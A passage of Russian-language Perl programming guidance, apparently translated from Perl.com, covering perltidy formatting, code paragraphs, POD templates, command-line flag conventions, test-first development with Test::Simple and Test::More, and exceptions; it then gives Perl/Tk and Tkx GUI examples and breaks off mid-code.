Причём решение с grep оставляет список отсортированным. Всё это даёт основания полагать, что превосходство решения, основанного на slice — это частный случай и это решение подрывается растущей стоимостью манипуляций с хэшами в случаях, когда хэш вырастает до слишком больших размеров.

Последний пример показывает, что выводы, сделанные Вами на основании тестирования быстродействия с какими-либо наборами данных, распространяются главным образом именно на этот конкретный вид данных.

Perl.com Compilation Copyright © 1998-2006 O'Reilly Media, Inc.

Придите к единому мнению на счёт
Форматирование. Отступы. Стиль. Взаимное расположение элементов кода. Как бы Вы это не называли, это является одним из аспектов программирования, вызывающих наибольшие споры. По поводу форматирования кода мир пережил больше кровавых распрей, чем по поводу чего либо ещё, касающегося программирования.
Какова лучшая практика здесь? Использовать ли классический стиль Kernighan и Ritchie? Или BSD-стиль форматирования? Или адаптировать схему форматирования, применяемую в проекте GNU? Или следовать принципам кодирования, принятым в Slashcode?
Конечно, нет! Каждый знает, что <вставьте Ваш любимый стиль здесь>
является Единственным Правильным Стилем, единственным верным выбором, как завещал великий <вставьте имя Вашего наиболее почитаемого Божества Программирования> с незапамятных времён! Любой другой выбор очевидно абсурден, явно еретический и само-собой-разумеется является инспирацией Сил Тьмы!
Именно в этом и проблема. Когда Вы принимаете решение о стиле форматирования, непросто сделать рациональный выбор и тут начинаются рационализованные привычки.
Адаптация согласованно-спроектированного подхода к форматированию кода и последовательное применение этого подхода в процессе работы является составной частью фундамента лучших практик программирования. Хорошее форматирование может улучшить читабельность программы, помочь обнаружить ошибки внутри неё, и сделать структуру кода более лёгкой для постижения. Форматирование имеет значение.
Однако, большинство стилей кодирования, включая четыре, упомянутые ранее, служат этим целям одинаково хорошо. В то время как форматирование кода само по себе имеет огромное значение, конкретный выбор в пользу той или иной схемы не имеет значения вообще! Всё что имеет значение, это то, что Вы следуете единому, согласованному стилю; такому стилю, который подходит для всей Вашей команды. Важно, чтобы все приняли этот стиль и строго следовали ему во время всего процесса разработки.
В долгосрочной перспективе наилучшим является обучиться самому и обучить свою команду писать код в последовательном, рациональном и читабельном стиле. Однако, время и приверженность команды, необходимые для этого, не всегда доступны. В таких случаях разумный компромисс состоит в том, чтобы предписать использование стандартного инструмента, который должен применяться перед тем как код будет отправлен в систему контроля версий, отправлен на ревизию или иным образом показан другим людям.

Прекрасный инструмент авто- форматирования для Perl: perltidy. Он предоставляет расширенный диапазон пользовательских настроек для установки отступов, позиционирования разделителей блоков, выравнивание по типу колонок и позиционирование комментариев.

Используя perltidy, Вы можете сконвертировать код подобный этому:

if($sigil eq '$'){ if($subsigil eq '?'){ $sym_table{substr($var_name,2)}=delete $sym_table{locate_orig_var($var)}; $internal_count++;$has_internal{$var_name}++ } else { ${$var_ref} = q{$sym_table{$var_name}}; $external_count++; $has_external{$var_name}++; }} elsif ($sigil eq '@'&&$subsigil eq '?') { @{$sym_table{$var_name}} = grep {defined $_} @{$sym_table{$var_name}}; } elsif ($sigil eq '%' && $subsigil eq '?') { delete $sym_table{$var_name}{$EMPTY_STR}; } else { ${$var_ref} = q{$sym_table{$var_name}} }

в нечто читабельное:

if ( $sigil eq '$' ) { if ( $subsigil eq '?' ) { $sym_table{ substr( $var_name, 2 ) } = delete $sym_table{ locate_orig_var($var) }; $internal_count++; $has_internal{$var_name}++; } else { ${$var_ref} = q{$sym_table{$var_name}}; $external_count++; $has_external{$var_name}++; } } elsif ( $sigil eq '@' && $subsigil eq '?' ) { @{ $sym_table{$var_name} } = grep {defined $_} @{ $sym_table{$var_name} }; } elsif ( $sigil eq '%' && $subsigil eq '?' ) { delete $sym_table{$var_name}{$EMPTY_STR}; } else { ${$var_ref} = q{$sym_table{$var_name}}; }

Указание всем использовать единый инструмент для форматирования их кода также является простым способом ухода от бесконечных возражений, желчности и догматов, которые всегда окружают обсуждение стиля кодирования. Если perltidy делает за них всю работу, то для разработчиков ничего не будет стоить приспособиться к новым принципам. Они смогут просто настроить макрос редактора который будет "выпрямлять" их код когда это будет им необходимо.

Разбивайте код на параграфы, снабжённые комментариями
Параграф — это набор операторов, выполняющих одну задачу: в литературе это последовательность предложений, выражающих одну идею; в программировании — серия инструкций, реализующих один шаг алгоритма.
Разделяйте каждый кусок кода на фрагменты, решающие одну задачу, с помощью вставки одной пустой строки между этими фрагментами. Для дальнейшего улучшения сопровождабельности кода, добавляйте вначале каждого параграфа однострочный комментарий, объясняющий, что делает эта последовательность операторов. Типа такого:
# Обработать массив, который был распознан... sub addarray_internal { my ($var_name, $needs_quotemeta) = @_;
# Запомнить оригинал... $raw .= $var_name;
# Добавить экранирование спецсимволов, если необходимо... my $quotemeta = $needs_quotemeta ? q{map {quotemeta $_} } : $EMPTY_STR;
# Перевести элементы переменной в строку, соединяя их с помощью "|"... my $perl5pat = qq{(??{join q{|}, $quotemeta \@{$var_name}})};
# Добавить отладочный код, если необходимо... my $type = $quotemeta ? 'literal' : 'pattern'; debug_now("Adding $var_name (as $type)"); add_debug_mesg("Trying $var_name (as $type)");
return $perl5pat; }
Параграфы полезны, поскольку человек может одновременно сфокусироваться Параграфы — единственный способ объединять небольшие количества связанной информации таким образом, что результирующий "кусок" может поместиться в единственный слот ограниченной по объёму кратковременной памяти читателя. Параграфы позволяют физической структуре разбиения кода на фрагменты отражать и подчёркивать его логическую структуру.
Добавление комментариев вначале каждого параграфа ещё более улучшает эффект от разбиения на фрагменты, резюмируя назначение каждого фрагмента (заметьте, назначение, а не поведение). Комментарии к параграфам нужны для объяснения того, почему этот код находится здесь и для чего он нужен, а не для дословного пересказа на естественном языке соответствующих операторов и вычислительных конструкций.
Заметьте, однако, что содержимое параграфов имеет здесь второстепенное значение. Важны именно вертикальные отступы, отделяющие параграфы друг от друга. Без них читабельность кода резко снижается, даже при сохранении комментариев:
sub addarray_internal { my ($var_name, $needs_quotemeta) = @_; # Запомнить оригинал... $raw .= $var_name; # Добавить экранирование спецсимволов, если необходимо... my $quotemeta = $needs_quotemeta ? q{map {quotemeta $_} } : $EMPTY_STR; # Перевести элементы переменной в строку, соединяя их с помощью "|"... my $perl5pat = qq{(??{join q{|}, $quotemeta \@{$var_name}})}; # Добавить отладочный код, если необходимо... my $type = $quotemeta ? 'literal' : 'pattern'; debug_now("Adding $var_name (as $type)"); add_debug_mesg("Trying $var_name (as $type)"); return $perl5pat; }

Создавайте POD-документацию для модулей и приложений
Одна из причин, по которой написание документации часто не доставляет никакого удовольствия, это "эффект пустой страницы". Многие программисты просто не знают с чего начать и что сказать.
Похоже наиболее простой путь написания документации в более приятной манере (и, следовательно, способ, с большей вероятностью приводящий к результату) - это обойти этот пустой экран, предоставив шаблон, который разработчики могут взять за основу, скопировать в свой код.
Для модуля шаблон документации может выглядеть следующим образом:
=head1 NAME
-
=head1 VERSION
The initial template usually just has:
This documentation refers to version 0.0.1.
=head1 SYNOPSIS
use ;
# Brief but working code example(s) here showing the most common usage(s) # This section will be as far as many users bother reading, so make it as # educational and exemplary as possible.
=head1 DESCRIPTION
A full description of the module and its features.
May include numerous subsections (i.e., =head2, =head3, etc.).
=head1 SUBROUTINES/METHODS
A separate section listing the public components of the module's interface.
These normally consist of either subroutines that may be exported, or methods that may be called on objects belonging to the classes that the module provides.
Name the section accordingly.
In an object-oriented module, this section should begin with a sentence (of the form "An object of this class represents ...") to give the reader a high-level context to help them understand the methods that are subsequently described.
=head1 DIAGNOSTICS
A list of every error and warning message that the module can generate (even the ones that will "never happen"), with a full explanation of each problem, one or more likely causes, and any suggested remedies.
=head1 CONFIGURATION AND ENVIRONMENT
A full explanation of any configuration system(s) used by the module, including the names and locations of any configuration files, and the meaning of any environment variables or properties that can be set. These descriptions must also include details of any configuration language used.

=head1 DEPENDENCIES

A list of all of the other modules that this module relies upon, including any restrictions on versions, and an indication of whether these required modules are part of the standard Perl distribution, part of the module's distribution, or must be installed separately.

=head1 INCOMPATIBILITIES

A list of any modules that this module cannot be used in conjunction with. This may be due to name conflicts in the interface, or competition for system or program resources, or due to internal limitations of Perl (for example, many modules that use source code filters are mutually incompatible).

=head1 BUGS AND LIMITATIONS

A list of known problems with the module, together with some indication of whether they are likely to be fixed in an upcoming release.

Also, a list of restrictions on the features the module does provide: data types that cannot be handled, performance issues and the circumstances in which they may arise, practical limitations on the size of data sets, special cases that are not (yet) handled, etc.

The initial template usually just has:

There are no known bugs in this module.

Please report problems to ()

Patches are welcome.

=head1 AUTHOR

()

=head1 LICENSE AND COPYRIGHT

Copyright (c) (). All rights reserved.

followed by whatever license you wish to release it under.

For Perl code that is often just:

This module is free software; you can redistribute it and/or modify it under the same terms as Perl itself. See L. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Конечно, специфические особенности, который предоставляет Ваш шаблон, могут отличаться от показанных здесь. Вы формируете Ваш собственный шаблон исходя из Вашей собственной практики программирования. Наиболее вероятно, что будет варьироваться лицензия и сообщение об авторских правах, но также у Вас могут быть специфические соглашения об именовании версий, грамматике диагностических сообщений или указании авторства.

Создавайте продуманные интерфейсы командной строки
Интерфейс командной строки имеет тенденцию усложняться со временем, вбирая в себя новые опции по мере того, как Вы добавляете новые возможности в приложение. К сожалению, редко эти интерфейсы разрабатываются с учётом их развития, развитие их не контролируется. Таким образом новые флаги, опции и аргументы, принимаемые приложением добавляются для конкретного случая (ad hoc) и не согласованы между собой.
Это также означает, что флаги, опции и аргументы разных приложений, написанных Вами, не похожи друг на друга. Результатом неизбежно будет набор программ, каждая из которых управляется особым и не похожим ни на что образом. Например:
> orchestrate source.txt -to interim.orc
> remonstrate +interim.rem -interim.orc
> fenestrate --src=interim.rem --dest=final.wdw Invalid input format
> fenestrate --help Unknown option: --help. Type 'fenestrate -hmo' for help
Здесь утилита orchestrate ожидает имя входного файла в качестве первого аргумента, а с помощью флага -to указывается выходной файл. Другой инструмент из того же набора, remonstrate
в отличие от предыдущей программы, использует опции -infile и +outfile. А программа fenestrate, похоже, требует "длинные опции" в GNU-стиле: --src=infile и --dest=outfile, кроме, очевидно, странно обозначенного флага для получения помощи. В конце концов, это просто беспорядок!
Когда Вы предоставляете комплект программ, все они должны иметь сходный интерфейс -- предоставлять те же флаги, опции и те же стандартные возможности. Это позволяет пользователям Ваших программ извлечь преимущество из уже имеющихся знаний, вместо того, чтобы постоянно задавать Вам вопросы.
Эти три программы должны работать, например, так:
> orchestrate -i source.txt -o dest.orc
> remonstrate -i source.orc -o dest.rem
> fenestrate -i source.rem -o dest.wdw Input file ('source.rem') not a valid Remora file (type "fenestrate --help" for help)
> fenestrate --help fenestrate - convert Remora .rem files to Windows .wdw format Usage: fenestrate [-i ] [-o ] [-cstq] [-h|-v] Options: -i Specify input source [default: STDIN] -o Specify output destination [default: STDOUT] -c Attempt to produce a more compact representation -h Use horizontal (landscape) layout -v Use vertical (portrait) layout -s Be strict regarding input -t Be extra tolerant regarding input -q Run silent --version Вывести информацию о версии --usage Вывести краткую инструкцию по запуску --help Получить эту справку --man Вывести подробное руководство

Здесь каждое приложение, которому требуется входной и выходной файл, использует для этого одинаковые флаги. Пользователь, который хочет использовать утилиту substrate utility (для конвертации .wdw-файла в процедуру) вероятно сможет угадать корректный синтаксис требуемой команды:

> substrate -i dest.wdw -o dest.sub

Те, кто не сможет этого угадать, вероятно могут догадаться использовать команду

> substrate --help

для получения помощи.

Существенная часть работы по проектированию интерфейсов состоит в том, чтобы придать единообразие различным компонентам этого интерфейса. Вот некоторые соглашения, которые могут помочь Вам в проектировании последовательного и предсказуемого интерфейса:

Требуйте наличие флага перед каждым элементом данных командной строки, исключая, возможно, имена файлов

Пользователи не настроены запоминать, что Ваше приложение требует указания "входного файла, выходного файла, размера блока, вида операции, стратегии обработки ошибок", причём указания всех этих данных в строгом порядке:

> lustrate sample_data proc_data 1000 normalize log

Они хотят иметь возможность явно указать то, что они хотят, причём в удобном для них порядке::

> lustrate sample_data proc_data -op=normalize -b1000 --fallback=log

Предоставьте также флаги для каждого имени файла, особенно если файлы это могут использоваться программой для различных целей.

Пользователи также могут быть не в восторге от того, что им нужно помнить в каком порядке указываются различные имена файлов. Так что позвольте им также добавлять метки для этих аргументов и указывать их в том порядке, в котором они предпочитают:

> lustrate -i sample_data -op normalize -b1000 --fallback log -o proc_data

Используйте одиночный дефиса (-) в качестве префикса для флагов, заданных в сокращённой форме, до трёх символов включительно (-v, -i, -rw, -in, -out).

Опытные пользователи ценят сокращённые флаги, т.к. нужно меньше набирать на клавиатуре. Не используйте двойной дефис для этих сокращённых флагов.

Используйте двойной дефис (--) в качестве префикса для длинных наименований флагов (--verbose, --interactive, --readwrite, --input, --output).

Флаги, являющиеся полными словами улучшают читаемость команд (например, в shell-скриптах). Двойные дефисы также помогают отличить длинные имен флагов от расположенных рядом имён файлов.

Если флаг ожидает ассоциированное с ним значение, предоставьте опциональный знак = между именем флага и его значением.

Одни люди предпочитают визуально ассоциировать значение с предшествующим ему флагом::

> lustrate -i=sample_data -op=normalize -b=1000 --fallback=log -o=proc_data

Другие нет:

> lustrate -i sample_data -op normalize -b1000 --fallback log -o proc_data

А некоторые могут предпочитать смешивать эти два стиля:

> lustrate -i sample_data -o proc_data -op=normalize -b=1000 --fallback=log

Предоставьте им возможность выбора.

Предусмотрите возможность "компоновки" нескольких однобуквенных флагов в один (используя один дефис).

Иногда раздражает печатать дефисы для целой серии флагов:

> lustrate -i sample_data -v -l -x

Разрешите опытным пользователям также писать:

> lustrate -i sample_data -vlx

предоставляйте многобуквенную версию для каждого однобуквенного флага.

Сокращённые формы флагов хороши для опытных пользователей, но они могут вызывать затруднения у новичков: тяжело запомнить и ещё труднее понять. Не вынуждайте людей напрягаться. Дайте им более понятную многословную альтернативу для сокращённого флага; полные слова легче запомнить и легче понять, т.к. они сами себя документируют в shell-скриптах.

Всегда допускайте - в качестве специального имени файла.

Широко используемое соглашение состоит в том, чтобы указывать дефис (-) на месте имени входного файла, что означает "считать со стандартного ввода", и дефис на месте имени выходного файла, что означает "вывести на стандартный вывод".

Всегда допускайте -- в качестве ограничителя перед именами файлов.

Другое широко используемое соглашение состоит в том, что использование двойного дефиса (--) в командной строке означает конец указание любых флагов / опций и означает, что все оставшиеся аргументы являются именами файлов, даже если некоторые из них выглядят как флаги.

Вначале пишите тесты, затем код
Пожалуй, наиболее универсальный принцип программирования — вначале писать комплект тестов.
Комплект тестов — это исполняемая спецификация какого-либо компонента программного обеспечения, автоматически контролирующая его поведение. Если у Вас есть комплект тестов, Вы можете — в любой точке процесса разработки — проверить, что код работает так, как вы того ожидаете. Если у Вас есть комплект тестов, Вы можете — после любых изменений во время цикла поддержки — удостовериться, что код по прежнему работает как полагается.
Вначале пишите тесты. Напишите их как только Вы определитесь с программным интерфейсом (см. совет #1). Пишите их до того, как начали реализацию Вашего приложения или модуля. До тех пор, пока у Вас нет тестов, у Вас нет чёткой спецификации функционала Вашего ПО, и тем более нет возможности узнать соответствует ли поведение ПО этой спецификации.
Написание тестов всегда кажется рутиной, причём рутиной в данном случае бессмысленной: у Вас ещё нет ничего, что можно тестировать - зачем писать эти тесты? Однако большая часть разработчиков будет -- почти "на автомате" -- писать вспомогательное ПО для тестирования их новых модулей для конкретных случаев (ad hoc):
> cat try_inflections.pl
# Тест для моего нового супер-модуля Английской морфологии...
use Lingua::EN::Inflect qw( inflect );
# Формы множественного числа (стандартные и не очень)...
my %plural_of = ( 'house' => 'houses', 'mouse' => 'mice', 'box' => 'boxes', 'ox' => 'oxen', 'goose' => 'geese', 'mongoose' => 'mongooses', 'law' => 'laws', 'mother-in-law' => 'mothers-in-law', );
# Для каждого из слов, вывести вычисленный и ожидаемый результаты...
for my $word ( keys %plural_of ) { my $expected = $plural_of{$word}; my $computed = inflect( "PL_N($word)" );
print "Для $word:\n", "\tОжидается: $expected\n", "\tВычислено: $computed\n"; }
Специализированное вспомогательное ПО на самом деле написать сложнее чем набор тестов, поскольку Вы должны задумываться форматировании вывода, о представлении результатов в виде, удобном для анализа. Вспомогательное ПО также сложнее использовать чем набор тестов, поскольку каждый раз Вам необходимо анализировать выводимый результат "на глаз". Также такой способ контроля подвержен ошибкам. Наше зрение не оптимизировано для выявления небольших отличий в больших объёмах практически идентичного текста.

Вместо написания " на коленке" вспомогательной программы для тестирования, проще написать простые тесты используя стандартный модуль Test::Simple. Вместо операторов print для распечатки результатов, Вы просто вызываете функцию ok(), передавая ей в качестве первого аргумента булево значение или логическое выражение, проверяющее правильность вычислений, а в качестве второго аргумента описание того, что Вы тестируете:

> cat inflections.t

use Lingua::EN::Inflect qw( inflect);

use Test::Simple qw( no_plan);

my %plural_of = ( 'mouse' => 'mice', 'house' => 'houses', 'ox' => 'oxen', 'box' => 'boxes', 'goose' => 'geese', 'mongoose' => 'mongooses', 'law' => 'laws', 'mother-in-law' => 'mothers-in-law', );

for my $word ( keys %plural_of ) { my $expected = $plural_of{$word}; my $computed = inflect( "PL_N($word)" );

ok( $computed eq $expected, "$word -> $expected" ); }

Имейте в виду, что этот код загружает Test::Simple с аргументом qw( no_plan ). Обычно используется аргумент tests => count, обозначающий как много тестов ожидается. Но нашем случае тесты генерируются во время выполнения на основании данных таблицы %plural_of, так что окончательное число тестов будет зависеть от количества записей в таблице. Указание фиксированного числа тестов полезно в том случае, если Вы точно знаете число выполняемых тестов в момент компиляции, поскольку модуль может быть подвергнут "мета-тестированию": проверке того, что успешно выполнены все тесты.

Тестовая программа, использующая Test::Simple, более лаконична и читабельна, чем наша предыдущая вспомогательная программа, а вывод гораздо более компактный и информативный:

> perl inflections.t

ok 1 - house -> houses ok 2 - law -> laws not ok 3 - mongoose -> mongooses # Failed test (inflections.t at line 21) ok 4 - goose -> geese ok 5 - ox -> oxen not ok 6 - mother-in-law -> mothers-in-law # Failed test (inflections.t at line 21) ok 7 - mouse -> mice ok 8 - box -> boxes 1..8 # Похоже, 2 теста из 8-ми провалились.

Что более важно, эта версия программы требует гораздо меньше усилий для проверки результатов тестов. Вам нужно просто просканировать взглядом левый край текстового вывода программы на предмет наличия слова not.

Возможно, Вы предпочтёте использовать модуль Test::More вместо Test::Simple. Вы этом случае Вы сможете указывать отдельно полученные и ожидаемые значения, используя функцию is() вместо ok():

use Lingua::EN::Inflect qw( inflect ); use Test::More qw( no_plan ); # Теперь используем более продвинутый инструмент тестирования

my %plural_of = ( 'mouse' => 'mice', 'house' => 'houses', 'ox' => 'oxen', 'box' => 'boxes', 'goose' => 'geese', 'mongoose' => 'mongooses', 'law' => 'laws', 'mother-in-law' => 'mothers-in-law', );

for my $word ( keys %plural_of ) { my $expected = $plural_of{$word}; my $computed = inflect( "PL_N($word)" );

# Проверить вычисленные и ожидаемые словоформы на равенство... is( $computed, $expected, "$word -> $expected" ); }

Кроме того, что Вам теперь не нужно самому сравнивать значения с помощью eq, этот способ также позволяет получить более детальные сообщения об ошибках:

> perl inflections.t

ok 1 - house -> houses ok 2 - law -> laws not ok 3 - mongoose -> mongooses # Failed test (inflections.t at line 20) # got: 'mongeese' # expected: 'mongooses' ok 4 - goose -> geese ok 5 - ox -> oxen not ok 6 - mother-in-law -> mothers-in-law # Failed test (inflections.t at line 20) # got: 'mothers-in-laws' # expected: 'mothers-in-law' ok 7 - mouse -> mice ok 8 - box -> boxes 1..8 # Похоже, 2 теста из 8-ми провалились.

С Perl 5.8 поставляется документация Test::Tutorial -- введение в Test::Simple и Test::More.

Вначале разработайте интерфейс модулей
Наиболее важный аспект любого модуля — не то как он реализует заложенные в него возможности, но прежде всего то, насколько удобно
эти возможности использовать. Если API модуля слишком неудобен, или слишком сложен, или слишком обширен, или слишком фрагментирован или просто используемые в нём имена плохо выбраны — разработчики будут избегать его использование. Вместо этого они будут писать собственный код. Таким образом, плохо спроектированный модуль на самом деле уменьшает общее удобство работы над системой.
Разработка интерфейсов модулей требует как опыта, так и творческих способностей. Пожалуй наиболее простой способ решить каким должен быть интерфейс, это "поиграться" с ним: написать примеры кода, который будет использовать этот модуль, до написания самого модуля. Эти "ненастоящие" примеры не пропадут, когда Вы закончите разработку модуля. Вы можете просто переделать эти примеры в демо-программы, примеры для документации или использовать в качестве тестов для модуля.
Ключевой принцип в том, чтобы писать код так, словно модуль уже существует, и подразумевая, что модуль имеет такой интерфейс, который Вам наиболее удобен.
Когда Вы уже получите представление об интерфейсе, который Вы хотите реализовать, переделайте Ваши "игрушечные" примеры в настоящие тесты (см. совет #2). Теперь всего лишь "дело техники" заставить этот модуль работать так, как того ожидают Ваши примеры и тесты.
Конечно, иногда может быть попросту невозможно реализовать интерфейс модуля так, как Вы того желаете. В этом случае, попытки реализовать интерфейс помогут Вам определить то, какие аспекты Вашего API непрактичны и труднореализуемы и найти приемлемую альтернативу.

Выбрасывайте исключение вместо возврата специальных значений или установки флагов
Возврат специального значения, сигнализирующего ошибку или установка специального флага — это очень широко используемая техника обработки ошибок. Вообще говоря, это принцип сигнализирования об ошибках практически всех встроенных функции Perl. Например, встроенные функции eval, exec, flock, open, print, stat, и system — все возвращают специальные значения в случае ошибки. Некоторые при этом также устанавливают флаг. К сожалению, это не всегда один и тот же флаг. С неутешительными подробностями можно ознакомиться на странице perlfunc.
Кроме проблем последовательности, оповещение об ошибках при помощи флагов и возвращаемых значений имеет ещё один серьёзный порок: разработчики могут тихо игнорировать флаги и возвращаемые значения. И игнорирование их не требует абсолютно никаких усилий со стороны программиста. НА самом деле в void-контексте, игнорирование возвращаемых значений — это поведение Perl-программ по умолчанию. Игнорирование флага ошибки также элементарно просто — Вы просто не проверяете соответствующую переменную.
Кроме того, игнорирование возвращаемого значения в void-контексте происходит незаметно, ведь нет никак синтаксических зацепок, позволяющих это контролировать. Нет возможности посмотреть на программу и сразу увидеть "вот здесь возвращаемое значение игнорируется!". А это означает, что возвращаемое значение может быть запросто проигнорировано случайно.
Резюме: по умыслу или недосмотру программиста индикаторы ошибок часто игнорируются. Это не есть хороший подход к программированию.
Игнорирование индикаторов ошибок часто приводит к тому, что ошибки распространяют своё влияние в непредсказуемом направлении. Например:
# Найти и открыть файл с заданным именем, # возвратить описатель файла или undef в случае неудачи.... sub locate_and_open { my ($filename) = @_;
# Проверить директории поиска по порядку... for my $dir (@DATA_DIRS) { my $path = "$dir/$filename";
# Если файл существует в дикектории, откроем его и возвратим описатель... if (-r $path) { open my $fh, '<', $path; return $fh; } }

# Ошибка если все возможные локации файла проверены и файл не найден... return; }

# Загрузить содержимое файла до первого маркера ... sub load_header_from { my ($fh) = @_;

# Использовать тег DATA в качестве конца "строки"... local $/ = '';

# Прочитать до конца "строки"... return <$fh>; }

# и позже... for my $filename (@source_files) { my $fh = locate_and_open($filename); my $head = load_header_from($fh); print $head; }

Функция locate_and_open() предполагает что вызов open успешно отработал, немедленно возвращая описатель файла ($fh), какой бы ни был возвращаемый результат open. Предположительно тот, кто вызывает locate_and_open() проверит возвращаемое ею значение на предмет корректного описателя файла.

Однако, этот кто-то не делает такой проверки. Вместо тестирования на неуспех, основной цикл for

принимает "ошибочное" значение и немедленно его использует в следующих операндах. В результате этого вызов loader_header_from() передаёт это неверное значение дальше.В результате функция, которая пытается использовать это ошибочное значение, вызывает крах программы.:

readline() on unopened filehandle at demo.pl line 28.

Код подобный этому — где сообщение об ошибке указывает на совершенно другую часть программы, не туда, где на самом деле произошла ошибка — довольно тяжело отлаживать.

Конечно, Вы можете возразить, что вина непосредственно лежит на том, кто писал тот цикл и не проверял возвращаемое значение locate_and_open(). В узком смысле это чистая правда, но глубинная вина всё-таки лежит на том, кто написал locate_and_open(), или по крайней мере на том, кто полагал, что вызывающая сторона будет всегда проверять возвращаемое значение этой функции.

Люди просто не любят делать это. Скалы почти не когда не падают на небо, так что люди делают вывод что они никогда этого и не сделают, и перестают смотреть за ними. Пожары редко уничтожают их дома, поэтому люди скоро забывают, что такое может произойти и перестают тестировать детекторы дыма каждый месяц. Таким же образом программисты неизбежно сокращают фразу "почти никогда не сломается" до "никогда не сломается" и просто перестают делать проверки.

Вот почему так мало людей заботится о проверке для операторов print:

if (!print 'Введите Ваше имя: ') { print {*STDLOG} warning => 'Терминал отвалился!' }

Такова натура человека: "доверяй и не проверяй".

Причина того, что возвращение индикатора ошибки не является лучшей практикой — в природе человека. Ошибки являются (как это предполагается) необычными случаями и маркеры ошибок почти никогда не будут возвращаться. Эти нудные и несуразные проверки почти никогда не делают ничего полезного, так что ими просто тихо пренебрегают. В конце концов, если опустить эти проверки, почти всё работает так же хорошо. Так что гораздо проще не париться с ними. В особенности когда их игнорирование является поведением по умолчанию (вспомните void-контекст)!

Не возвращайте специальные значения, когда что-то идёт не так; вместо этого выбрасывайте исключения. Огромное преимущество исключений в том, что они как бы выворачивают наизнанку обычное поведение по-умолчанию, немедленно обращая внимание на необработанные ошибки. С другой стороны, игнорирование исключений требует намеренных и видимых усилий: вы должны предусмотреть явный блок eval

для их перехвата.

Функция locate_and_open() будет намного понятнее и надёжнее, если в случае ошибок мы выбрасываем исключения:

# Find and open a file by name, returning the filehandle # or throwing an exception on failure... sub locate_and_open { my ($filename) = @_;

# Проверить директории поиска по порядку... for my $dir (@DATA_DIRS) { my $path = "$dir/$filename";

# Если файл существует в дикектории, откроем его и возвратим описатель... if (-r $path) { open my $fh, '<', $path or croak( "Located $filename at $path, but could not open"); return $fh; } }

# Ошибка если все возможные локации файла проверены и файл не найден... croak( "Could not locate $filename" ); }

# and later... for my $filename (@source_files) { my $fh = locate_and_open($filename); my $head = load_header_from($fh); print $head; }

Заметьте, что основной цикл for вообще не изменился. Разработчик, использующий locate_and_open() всё так же предполагает, что всё отработает без сбоев. Теперь этому есть обоснование, поскольку если действительно что-то пойдёт не так, выброшенное исключение автоматически завершит цикл.

Исключения — это более удачный выбор даже если даже Вы настолько дисциплинированы, что проверяете каждое выходное значение на предмет наличия ошибки:

SOURCE_FILE: for my $filename (@source_files) { my $fh = locate_and_open($filename); next SOURCE_FILE if !defined $fh; my $head = load_header_from($fh); next SOURCE_FILE if !defined $head; print $head; }

Постоянные проверки возвращаемых значений вносят посторонний шум в Ваш код в виде проверочных операторов, часто сильно ухудшая читабельность. Исключения, наоборот, дают возможность реализовать алгоритм вообще без вкраплений кода для проверки ошибок. Мы можете вынести обработку ошибок за пределы алгоритма и передать эти функции обрамляющему eval или вообще обойтись без этой обработки:

for my $filename (@directory_path) {

# Просто игнорировать файлы, которые не загружаются... eval { my $fh = locate_and_open($filename); my $head = load_header_from($fh); print $head; } }

Более сложный пример на Perl/Tk
Для того чтобы продемонстрировать некоторые особенности Perl/Tk напишем чуть более сложное приложение с несколькими стандартными элементами пользовательского интерфейса: #!/usr/bin/perl
# # Александр Симаков, # http://alexander-simakov.blogspot.com/ # # Демонстрационная программа на Perl/Tk #
use strict; use warnings;
use Tk;
sub main() { # Создаём главное окно my $mw = MainWindow->new();
# Фрейм для группировки Radiobutton-ов my $rb_frame = $mw->Frame()->pack( -side => "top" );
# В этой переменной будет сохраняться -value # выбранного Radiobutton-а. При изменении значения # $rb_variable извне, интерфейс будет обновлён # автоматически. my $rb_variable = "foo";
foreach my $name ( qw{ foo bar baz } ) { my $rb = $rb_frame->Radiobutton( -text => "Radiobutton $name", -value => $name, -variable => \$rb_variable, ); $rb->pack( -side => "left" ); }
# Создаём Checkbutton. Его состояние сохраняется # в переменной $cb_variable: при её изменении # извне изменится и внешний вид Checkbutton-а. my $cb_variable = "on"; my $cb = $mw->Checkbutton( -text => "Checkbutton foobar", -onvalue => "on", -offvalue => "off", -variable => \$cb_variable, ); $cb->pack( -side => "top" );
# Создаём кнопку с обработчиком. При нажатии # будет выведен выбранный Radiobutton и текущее # состояние Checkbutton-а my $b = $mw->Button( -text => "Show status", -command => sub { print "Selected Radiobutton: '$rb_variable'\n"; print "Checkbutton state: '$cb_variable'\n"; } ); $b->pack( -side => "top" );
# Запускаем главный цикл обработки событий MainLoop(); }
main();

Вид в Linux

Вид в Windows
Первое, что бросается в глаза - некоторая архаичность интерфейса, особенно в UNIX-окружении. Для одних задач это не имеет принципиального значения, а для других - наоборот.
Также стоит отметить, что модуль Perl/Tk базируется на библиотеке Tk версии 8.4. Интерфейс, написанный на Tk 8.5, выглядит иначе: как именно - смотрите в следующем разделе.

Модуль Tkx от ActiveState
Модуль Tkx, разрабатываемый при поддержке ActiveState, реализует своеобразный "мост" между Perl и Tcl. В результате, код для работы с интерфейсом транслируется в команды Tcl/Tk. Плюс такого подхода в том, что можно всегда использовать самую последнюю версию Tk без необходимости существенной переработки модуля. Минус - меньшая производительность по сравнению с XS-версией.
Стоит отметить, что последние версии ActivePerl поставляются с предустановленным модулем Tkx. Это объясняется тем, что Tkx активно используется в программах, входящих в состав PDK (ActiveState Perl Dev Kit). В частности, Tkx используется графической версией менеджера пакетов PPM: для того чтобы посмотреть его в действии достаточно набрать команду ppm. Проверить работоспособность Tkx можно и следующим однострочником:
perl -MTkx -e "Tkx::MainLoop();"
Теперь перепишем предыдущий пример с использованием модуля Tkx и сравним результаты: #!/usr/bin/perl
# # Александр Симаков, # http://alexander-simakov.blogspot.com/ # # Демонстрационная программа на Perl/Tkx #
use strict; use warnings;
use Tkx;
sub main() { # Создаём главное окно my $mw = Tkx::widget->new( "." );
# Фрейм для группировки Radiobutton-ов my $rb_frame = $mw->new_frame(); $rb_frame->g_pack( -side => "top" );
# В этой переменной будет сохраняться -value # выбранного Radiobutton-а. При изменении значения # $rb_variable извне, интерфейс будет обновлён # автоматически. my $rb_variable = "foo"; foreach my $name ( qw{ foo bar baz } ) { my $rb = $rb_frame->new_radiobutton( -text => "Radiobutton $name", -value => $name, -variable => \$rb_variable, ); $rb->g_pack( -side => "left" ); }
